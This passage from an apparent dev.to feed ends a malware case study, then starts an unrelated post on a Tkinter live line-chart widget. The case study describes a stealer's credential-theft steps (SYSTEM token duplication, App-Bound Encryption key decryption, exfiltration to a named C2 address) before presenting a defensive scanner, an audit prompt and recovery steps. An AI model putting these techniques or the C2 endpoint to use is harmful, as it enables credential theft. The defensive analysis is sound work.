&lt;li&gt;Finds &lt;code&gt;lsass.exe&lt;/code&gt; and duplicates its primary &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; token.&lt;/li&gt;
&lt;li&gt;Uses &lt;code&gt;SYSTEM&lt;/code&gt; DPAPI + Windows CNG Key Storage Provider (&lt;code&gt;Google Chromekey1&lt;/code&gt;, &lt;code&gt;Brave Softwarekey1&lt;/code&gt;, &lt;code&gt;Microsoft Edgekey1&lt;/code&gt;) to decrypt &lt;strong&gt;Chrome 127+ App-Bound Encryption master keys&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Sweeps Git credentials, macOS Keychains, and Linux Secret Service stores, posts everything to &lt;code&gt;91.218.183.174/verify-human/BRW&lt;/code&gt;, and &lt;strong&gt;deletes itself from disk (&lt;code&gt;os.remove(sys.argv[0])&lt;/code&gt;)&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  🛠️ Free Open-Source Tool: Unified GitHub Account Scanner &amp;amp; Cleaner (&lt;code&gt;v2.0.0&lt;/code&gt;)
&lt;/h2&gt;

&lt;p&gt;Manually checking dozens of repositories and branches for 150-space horizontal injections and fake font headers is nearly impossible.&lt;/p&gt;

&lt;p&gt;So I built &lt;strong&gt;&lt;a href="https://github.com/thisal-d/fake-font-malware-case-study/blob/main/tools/github_malware_scanner_cleaner.py" rel="noopener noreferrer"&gt;&lt;code&gt;github_malware_scanner_cleaner.py&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt;—a single, standalone, zero-dependency Python 3.8+ tool with a full &lt;strong&gt;color-coded terminal UI&lt;/strong&gt; that anyone can run.&lt;/p&gt;

&lt;h3&gt;
  
  
  ✨ What It Does:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Extension-Independent 5-Layer Detection:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Validates &lt;strong&gt;real binary font headers &amp;amp; table offsets&lt;/strong&gt; (&lt;code&gt;.ttf&lt;/code&gt;, &lt;code&gt;.otf&lt;/code&gt;, &lt;code&gt;.woff&lt;/code&gt;, &lt;code&gt;.woff2&lt;/code&gt;, &lt;code&gt;.eot&lt;/code&gt;). If a font file contains plain-text JavaScript or trailing polyglot bytes, it catches it immediately—while &lt;strong&gt;preserving 100% of your legitimate binary fonts&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Detects all &lt;strong&gt;3 Malware Families&lt;/strong&gt; and &lt;strong&gt;9 Obfuscation Generations&lt;/strong&gt; (including horizontal space/tab padding, ESM &lt;code&gt;createRequire&lt;/code&gt; shims, &lt;code&gt;.vscode/tasks.json&lt;/code&gt; &lt;code&gt;folderOpen&lt;/code&gt; hooks, &lt;code&gt;package.json&lt;/code&gt; &lt;code&gt;node api.js &amp;amp;&amp;amp;&lt;/code&gt; chains, and &lt;code&gt;.gitignore&lt;/code&gt; tampering).&lt;/li&gt;
&lt;li&gt;Safely inspects &lt;code&gt;.zip&lt;/code&gt; and &lt;code&gt;.tar.gz&lt;/code&gt; archives in memory with zip-bomb protection.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;100% Trustworthy Private Repository Support (Never Asks for Your Password or Token!):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;A security script should &lt;strong&gt;never&lt;/strong&gt; ask you to type or paste your GitHub password or Personal Access Token into a terminal prompt.&lt;/li&gt;
&lt;li&gt;Our script lists your public repositories automatically via GitHub's public API, explains why private repos aren't listed by the public API, and lets you &lt;strong&gt;type your private repository names separated by commas (&lt;code&gt;repo1, repo2&lt;/code&gt;)&lt;/strong&gt; so your computer's official &lt;strong&gt;Git / Git Credential Manager&lt;/strong&gt; clones and cleans them directly!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Safe Surgical Cleanup + External Quarantine Vault (&lt;code&gt;--restore&lt;/code&gt;):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Defaults to read-only / dry-run mode until you confirm.&lt;/li&gt;
&lt;li&gt;Backs up every infected file to an external Quarantine Vault (&lt;code&gt;manifest.json&lt;/code&gt;) before deleting standalone fake fonts or &lt;strong&gt;surgically stripping malicious tails&lt;/strong&gt; from &lt;code&gt;vite.config.js&lt;/code&gt; / &lt;code&gt;postcss.config.mjs&lt;/code&gt; / &lt;code&gt;babel.config.js&lt;/code&gt; / &lt;code&gt;package.json&lt;/code&gt; without breaking your app!&lt;/li&gt;
&lt;li&gt;Supports both &lt;strong&gt;Mode A (Safe Normal Commit &amp;amp; Push)&lt;/strong&gt; and &lt;strong&gt;Mode B (Complete Git History Rewrite with mandatory &lt;code&gt;--mirror&lt;/code&gt; backup)&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  🚀 Quick Start (Run It in 30 Seconds)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Clone the case study &amp;amp; tool safely&lt;/span&gt;
git clone https://github.com/thisal-d/fake-font-malware-case-study.git
&lt;span class="nb"&gt;cd&lt;/span&gt; fake-font-malware-case-study

&lt;span class="c"&gt;# Launch the interactive color-coded GitHub Account Scanner &amp;amp; Cleaner&lt;/span&gt;
python tools/github_malware_scanner_cleaner.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or scan a local repository folder in read-only mode:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python tools/github_malware_scanner_cleaner.py --local-repo /path/to/repo --scan-only --all-branches
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🤖 Defense-in-Depth: Audit Your Account with an Independent AI Coding Agent
&lt;/h2&gt;

&lt;p&gt;Because malware authors constantly evolve their obfuscation and delivery tricks, &lt;strong&gt;no single Python script can guarantee that a repository is 100% clean&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To get a much higher level of confidence, I also created a &lt;strong&gt;complete, ready-to-copy 15-step prompt&lt;/strong&gt; that you can paste into an independent CLI-based AI coding agent (like &lt;strong&gt;Claude Code&lt;/strong&gt;, &lt;strong&gt;OpenAI Codex CLI&lt;/strong&gt;, or another terminal agent):&lt;/p&gt;

&lt;p&gt;👉 &lt;strong&gt;&lt;a href="https://github.com/thisal-d/fake-font-malware-case-study/blob/main/docs/AI_AGENT_SECURITY_AUDIT_PROMPT.md" rel="noopener noreferrer"&gt;Copy the AI Agent Security Audit Prompt Here (&lt;code&gt;docs/AI_AGENT_SECURITY_AUDIT_PROMPT.md&lt;/code&gt;)&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you paste that prompt into your CLI agent (inside an empty working folder), the agent will:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Ask for your GitHub username and verify safe &lt;code&gt;gh&lt;/code&gt; CLI login (never asking for tokens or passwords in chat).&lt;/li&gt;
&lt;li&gt;Clone and study &lt;strong&gt;&lt;code&gt;https://github.com/thisal-d/fake-font-malware-case-study&lt;/code&gt;&lt;/strong&gt; first as its mandatory malware intelligence knowledge base.&lt;/li&gt;
&lt;li&gt;Discover all your public and private repositories with pagination.&lt;/li&gt;
&lt;li&gt;Clone and inspect repositories &lt;strong&gt;one at a time&lt;/strong&gt; across &lt;strong&gt;all branches&lt;/strong&gt; in an isolated CLI workflow (never executing code or running &lt;code&gt;npm install&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Run our unified Python scanner &lt;strong&gt;plus&lt;/strong&gt; its own independent deep AI code audit to catch any mutated variants, show you the diffs, ask for your approval, and push clean commits safely.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;(Remember: even an independent AI audit cannot guarantee 100% immunity—combining deterministic static scanning + AI semantic auditing + your own review of &lt;code&gt;git diff&lt;/code&gt; gives you layered defense-in-depth!)&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  🛑 Crucial: Cleaning Your GitHub Repo Does NOT Clean Your PC!
&lt;/h2&gt;

&lt;p&gt;If you or your friend ever opened an infected repository in VS Code or ran &lt;code&gt;npm install&lt;/code&gt; / &lt;code&gt;npm start&lt;/code&gt; on it, &lt;strong&gt;cleaning the GitHub repository is only half the battle&lt;/strong&gt;. You must also recover your workstation and accounts:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;💿 Reinstall Windows Cleanly (Bootable USB Format):&lt;/strong&gt;
Because this malware spawns detached background processes, drops files into &lt;code&gt;%TEMP%&lt;/code&gt; and &lt;code&gt;~/.npm/scoped_dir*&lt;/code&gt;, lowers PowerShell ExecutionPolicy, and impersonates &lt;code&gt;lsass.exe&lt;/code&gt; (&lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;), do &lt;strong&gt;not&lt;/strong&gt; rely on antivirus scans alone. Back up only plain personal documents and perform a &lt;strong&gt;clean Windows reinstallation&lt;/strong&gt; from a USB created on a clean computer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;🔒 Install Only Trustworthy Software &amp;amp; Extensions:&lt;/strong&gt;
On your fresh OS installation, only install verified, official applications and trusted IDE extensions. Never open unverified repositories in VS Code, Google Antigravity, or Cursor before scanning them via CLI.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;🔑 Change All Passwords &amp;amp; Revoke Sessions (From a Clean Phone or PC First!):&lt;/strong&gt;
Because the stealer bypasses Chrome/Edge/Brave App-Bound Encryption to steal saved browser passwords and session cookies:

&lt;ul&gt;
&lt;li&gt;Log out / &lt;strong&gt;revoke all active sessions&lt;/strong&gt; on GitHub (&lt;code&gt;Settings -&amp;gt; Sessions -&amp;gt; Revoke all&lt;/code&gt;), Google/Gmail, Microsoft, cloud providers, social media, and banking.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Change all passwords&lt;/strong&gt; to strong, unique passwords and enable &lt;strong&gt;2FA&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delete all old GitHub Personal Access Tokens (PATs), SSH keys, and unfamiliar OAuth apps&lt;/strong&gt; (&lt;code&gt;Settings -&amp;gt; Applications&lt;/code&gt;), then re-authenticate &lt;code&gt;git&lt;/code&gt; / &lt;code&gt;gh&lt;/code&gt; cleanly after reinstalling Windows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate all project secrets&lt;/strong&gt; (&lt;code&gt;.env&lt;/code&gt; files, database URLs, AWS/cloud keys, npm tokens) that were ever stored in the infected repos.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  📚 Full Case Study, IOCs &amp;amp; Resources
&lt;/h2&gt;

&lt;p&gt;Everything we uncovered—including deobfuscated Stage-1 JavaScript loaders, deobfuscated Python stealer code, YARA/Sigma rules, SHA-256 hashes, video demonstrations, and the 19-repository global forensic report—is open-sourced in our repository:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;📦 &lt;strong&gt;Main Repository &amp;amp; Case Study:&lt;/strong&gt; &lt;a href="https://github.com/thisal-d/fake-font-malware-case-study" rel="noopener noreferrer"&gt;thisal-d/fake-font-malware-case-study&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🛠️ &lt;strong&gt;Unified Python Scanner &amp;amp; Cleaner (&lt;code&gt;v2.0.0&lt;/code&gt;):&lt;/strong&gt; &lt;a href="https://github.com/thisal-d/fake-font-malware-case-study/blob/main/tools/github_malware_scanner_cleaner.py" rel="noopener noreferrer"&gt;&lt;code&gt;tools/github_malware_scanner_cleaner.py&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🤖 &lt;strong&gt;Ready-to-Copy AI Coding Agent Audit Prompt:&lt;/strong&gt; &lt;a href="https://github.com/thisal-d/fake-font-malware-case-study/blob/main/docs/AI_AGENT_SECURITY_AUDIT_PROMPT.md" rel="noopener noreferrer"&gt;&lt;code&gt;docs/AI_AGENT_SECURITY_AUDIT_PROMPT.md&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🌍 &lt;strong&gt;19-Repository Global Campaign &amp;amp; 6 Candidate Forensic Report:&lt;/strong&gt; &lt;a href="https://github.com/thisal-d/fake-font-malware-case-study/blob/main/analysis/global-campaign-19-repos-and-candidates.md" rel="noopener noreferrer"&gt;&lt;code&gt;analysis/global-campaign-19-repos-and-candidates.md&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;📖 &lt;strong&gt;Complete CLI &amp;amp; Interactive Usage Guide:&lt;/strong&gt; &lt;a href="https://github.com/thisal-d/fake-font-malware-case-study/blob/main/docs/USAGE_GUIDE.md" rel="noopener noreferrer"&gt;&lt;code&gt;docs/USAGE_GUIDE.md&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🧪 &lt;strong&gt;Automated Validation Report (&lt;code&gt;10/10 PASS&lt;/code&gt;):&lt;/strong&gt; &lt;a href="https://github.com/thisal-d/fake-font-malware-case-study/blob/main/docs/TESTING_AND_VALIDATION.md" rel="noopener noreferrer"&gt;&lt;code&gt;docs/TESTING_AND_VALIDATION.md&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;⚠️ &lt;strong&gt;Security Limitations &amp;amp; Host Remediation Checklist:&lt;/strong&gt; &lt;a href="https://github.com/thisal-d/fake-font-malware-case-study/blob/main/docs/SECURITY_LIMITATIONS.md" rel="noopener noreferrer"&gt;&lt;code&gt;docs/SECURITY_LIMITATIONS.md&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🛡️ &lt;strong&gt;Machine-Readable IOCs (SHA-256, Wallets, C2s):&lt;/strong&gt; &lt;a href="https://github.com/thisal-d/fake-font-malware-case-study/blob/main/iocs/ioc.json" rel="noopener noreferrer"&gt;&lt;code&gt;iocs/ioc.json&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If this post helped you or saved your team from a compromised repo, please &lt;strong&gt;star the repository on GitHub&lt;/strong&gt; and share this with your fellow developers and university project groups! Stay safe out there. 🛡️&lt;/p&gt;

</description>
      <category>virus</category>
      <category>developers</category>
      <category>vscode</category>
      <category>infosteal</category>
    </item>
    <item>
      <title>How I Built a Live-Updating Line Chart Widget for Tkinter Without Any External Dependencies</title>
      <dc:creator>Thisal Dilmith</dc:creator>
      <pubDate>Fri, 26 Jun 2026 18:11:30 +0000</pubDate>
      <link>https://dev.to/thisald/how-i-built-a-live-updating-line-chart-widget-for-tkinter-without-any-external-dependencies-1pj6</link>
      <guid>https://dev.to/thisald/how-i-built-a-live-updating-line-chart-widget-for-tkinter-without-any-external-dependencies-1pj6</guid>
      <description>&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;Tkinter ships with enough widgets to build a functional desktop GUI in an afternoon. &lt;br&gt;
What it doesn't ship with is any built-in way to display data that changes over time. &lt;br&gt;
If you're building a CPU monitor, a sensor dashboard, or any tool that needs to &lt;br&gt;
visualize a live stream of values, you have two realistic options: embed matplotlib &lt;br&gt;
in a &lt;code&gt;FigureCanvasTkAgg&lt;/code&gt;, or roll your own canvas drawing logic. The first option &lt;br&gt;
works but pulls in a dependency that's larger than most projects need. The second &lt;br&gt;
option means rebuilding the same axis, scaling, and rendering logic every time.&lt;/p&gt;


&lt;h2&gt;
  
  
  Why Existing Solutions Didn't Cut It
&lt;/h2&gt;

&lt;p&gt;The matplotlib-in-Tkinter approach is the most commonly recommended solution, and &lt;br&gt;
it's fine for static charts. For live data though, it has friction:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You manage figure/canvas lifecycle manually.&lt;/li&gt;
&lt;li&gt;Animation via &lt;code&gt;FuncAnimation&lt;/code&gt; fights with Tkinter's event loop unless you're 
careful with &lt;code&gt;blit=True&lt;/code&gt; and backend selection.&lt;/li&gt;
&lt;li&gt;The import footprint (&lt;code&gt;numpy&lt;/code&gt;, &lt;code&gt;matplotlib&lt;/code&gt;) is heavy for an app whose chart is 
a minor feature.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The other option — drawing on a &lt;code&gt;tk.Canvas&lt;/code&gt; directly — is fine at small scale but &lt;br&gt;
requires you to reimplement axis labels, scaling, grid lines, and multi-line &lt;br&gt;
coordination every single time.&lt;/p&gt;

&lt;p&gt;What I wanted: a &lt;code&gt;LineChart&lt;/code&gt; class I could drop into any Tkinter app the same way &lt;br&gt;
I'd drop in a &lt;code&gt;ttk.Treeview&lt;/code&gt;. Create it, pack it, feed it data. Done.&lt;/p&gt;


&lt;h2&gt;
  
  
  How It Works
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fctll3vgmfw7unm09h7dw.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fctll3vgmfw7unm09h7dw.gif" alt="multi line design" width="700" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;tkchart exposes two classes: &lt;code&gt;LineChart&lt;/code&gt; (the widget) and &lt;code&gt;Line&lt;/code&gt; (a data series &lt;br&gt;
attached to a chart).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tkchart&lt;/span&gt;

&lt;span class="n"&gt;chart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tkchart&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;LineChart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;x_axis_values&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t-9&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t-7&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t-6&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t-5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t-4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t-3&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t-2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t-1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;y_axis_values&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;y_axis_section_count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;x_axis_section_count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;chart&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pady&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tkchart&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Line&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;chart&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;#5dffb6&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dashed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;style_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;enabled&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;LineChart&lt;/code&gt; owns the canvas, axes, labels, and grid. &lt;code&gt;Line&lt;/code&gt; is a lightweight &lt;br&gt;
descriptor — it holds style properties and a data buffer, but the chart controls &lt;br&gt;
all rendering.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Feeding data&lt;/strong&gt; happens via &lt;code&gt;show_data()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;chart&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;show_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;daemon&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2tg1l03p6v4uwoyezxkv.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2tg1l03p6v4uwoyezxkv.gif" alt="multi line design" width="700" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is designed to be called from a background thread. Internally, canvas &lt;br&gt;
operations are dispatched to the main thread via Tkinter's &lt;code&gt;after()&lt;/code&gt; mechanism — &lt;br&gt;
the caller doesn't have to think about it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key architectural decisions:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Decoupled &lt;code&gt;Line&lt;/code&gt; from &lt;code&gt;LineChart&lt;/code&gt;&lt;/strong&gt;: Each &lt;code&gt;Line&lt;/code&gt; maintains its own data &lt;br&gt;
buffer independently. &lt;code&gt;get_line_data()&lt;/code&gt;, &lt;code&gt;get_current_visible_data()&lt;/code&gt;, and &lt;br&gt;
related methods let you query what's on screen at any point — useful for &lt;br&gt;
triggering alerts or logging snapshots.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scrolling X-axis&lt;/strong&gt;: As data arrives, the X-axis label set scrolls. The &lt;br&gt;
&lt;code&gt;x_axis_values&lt;/code&gt; tuple defines the visible label template, not a fixed dataset. &lt;br&gt;
This means the chart is conceptually infinite on the time axis.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Runtime reconfiguration&lt;/strong&gt;: v2.2.0 added &lt;code&gt;configure_*()&lt;/code&gt; methods for almost &lt;br&gt;
every visual property. You can change axis colors, pointer behavior, or &lt;br&gt;
line fill at runtime without destroying and recreating the widget.&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="n"&gt;chart&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;configure_bg_color&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;#1a1a2e&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
